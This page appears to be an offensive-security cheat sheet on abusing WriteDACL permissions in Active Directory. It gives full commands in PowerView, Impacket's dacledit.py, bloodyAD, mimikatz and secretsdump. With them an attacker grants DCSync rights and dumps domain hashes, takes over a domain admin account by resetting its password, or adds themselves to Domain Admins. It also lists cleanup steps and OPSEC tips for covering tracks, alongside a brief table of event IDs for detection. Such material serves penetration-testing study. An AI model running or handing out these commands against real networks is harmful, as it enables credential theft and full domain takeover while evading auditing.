AD^:Active Directory

Attack #21 — WriteDACL Abuse

WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object — meaning they can grant themselves (or any principal)…

advancedupdated 2026-08-10Impacket · Mimikatz · BloodHound · PowerShell

🟡 Attack #21 — WriteDACL Abuse


📖 How It Works

WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object — meaning they can grant themselves (or any principal) any permission they want on that object. This is typically used as a stepping stone: the attacker grants themselves GenericAll or DCSync rights, then uses those elevated permissions to exploit the target.

The most devastating use is WriteDACL on the domain root object (DC=corp,DC=local), which allows the attacker to grant themselves DCSync rights — enabling extraction of every credential in the domain without Domain Admin privileges.

Exploitation Chain

1. Identify WriteDACL on a target object (BloodHound / PowerView)
2. Add a new ACE granting yourself desired rights:
   - GenericAll on user/group → password reset / group membership
   - DCSync rights on domain root → extract all hashes
3. Exploit the newly granted permissions
4. Optionally remove the ACE to cover tracks

⚙️ Prerequisites

RequirementDetail
WriteDACL ACE on targetYour controlled principal must have WriteDACL in the target’s DACL
Domain user accountAny authenticated domain user

🛠️ Tools

ToolPlatformNotes
PowerViewWindowsAdd-DomainObjectAcl — add ACEs to DACLs
Impacket — dacledit.pyLinuxRemote DACL editing
bloodyADLinuxadd dcsync, add genericAll shortcuts
ldap_shellLinuxInteractive LDAP exploitation

💻 Full Commands

🔴 WriteDACL on Domain Root → Grant DCSync

# ── PowerView — grant DCSync rights to yourself ──────────────────────────────
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity low_user -Rights DCSync -Verbose

# ── Now DCSync ────────────────────────────────────────────────────────────────
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# ── dacledit.py ───────────────────────────────────────────────────────────────
dacledit.py -action write -rights DCSync \
  -principal low_user -target-dn "DC=corp,DC=local" \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

# Now DCSync
secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt

# ── bloodyAD ──────────────────────────────────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  add dcsync low_user

🔴 WriteDACL on User → Grant GenericAll

# ── Grant GenericAll over a DA account ────────────────────────────────────────
Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All

# ── Now reset their password ──────────────────────────────────────────────────
$NewPassword = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetadmin -AccountPassword $NewPassword
# ── dacledit.py — grant GenericAll ────────────────────────────────────────────
dacledit.py -action write -rights FullControl \
  -principal low_user -target targetadmin \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

🔴 WriteDACL on Group → Grant Self-Add

# ── Grant yourself rights to modify group membership ──────────────────────────
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity low_user -Rights All

# ── Add yourself to Domain Admins ─────────────────────────────────────────────
Add-DomainGroupMember -Identity "Domain Admins" -Members low_user

🔴 Cleanup — Remove the ACE

# ── Remove the ACE you added ──────────────────────────────────────────────────
Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity low_user -Rights DCSync -Verbose
# ── dacledit.py cleanup ───────────────────────────────────────────────────────
dacledit.py -action remove -rights DCSync \
  -principal low_user -target-dn "DC=corp,DC=local" \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

🎯 OPSEC Tips

  • Always remove the ACE after exploitation — leaving DCSync rights on a low-priv user is a permanent IOC
  • WriteDACL → DCSync is the most common escalation path found in ACL-based attacks
  • Event 4662 and 5136 catch DACL modifications — but many environments don’t audit these events

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4662Security Log (DC)Object access — tracks DACL writes on the domain root
5136Security Log (DC)Directory Service object modification — nTSecurityDescriptor changes
4670Security Log (DC)Permissions on an object were changed

🔗 Attack Chain Context

[WriteDACL] ──→ Grant Yourself Any Permission
         │
         ├──→ 🩸 Domain root → DCSync rights → all domain hashes
         ├──→ 👤 User object → GenericAll → password reset → account takeover
         ├──→ 👥 Group object → modify membership → add self to DA
         ├──→ 🔗 Chain: WriteDACL → DCSync (#37) → Golden Ticket (#11)
         └──→ 💀 Defeated by: audit DACLs, monitor 4670/5136, least privilege

✅ Attack #21 — WriteDACL Abuse complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.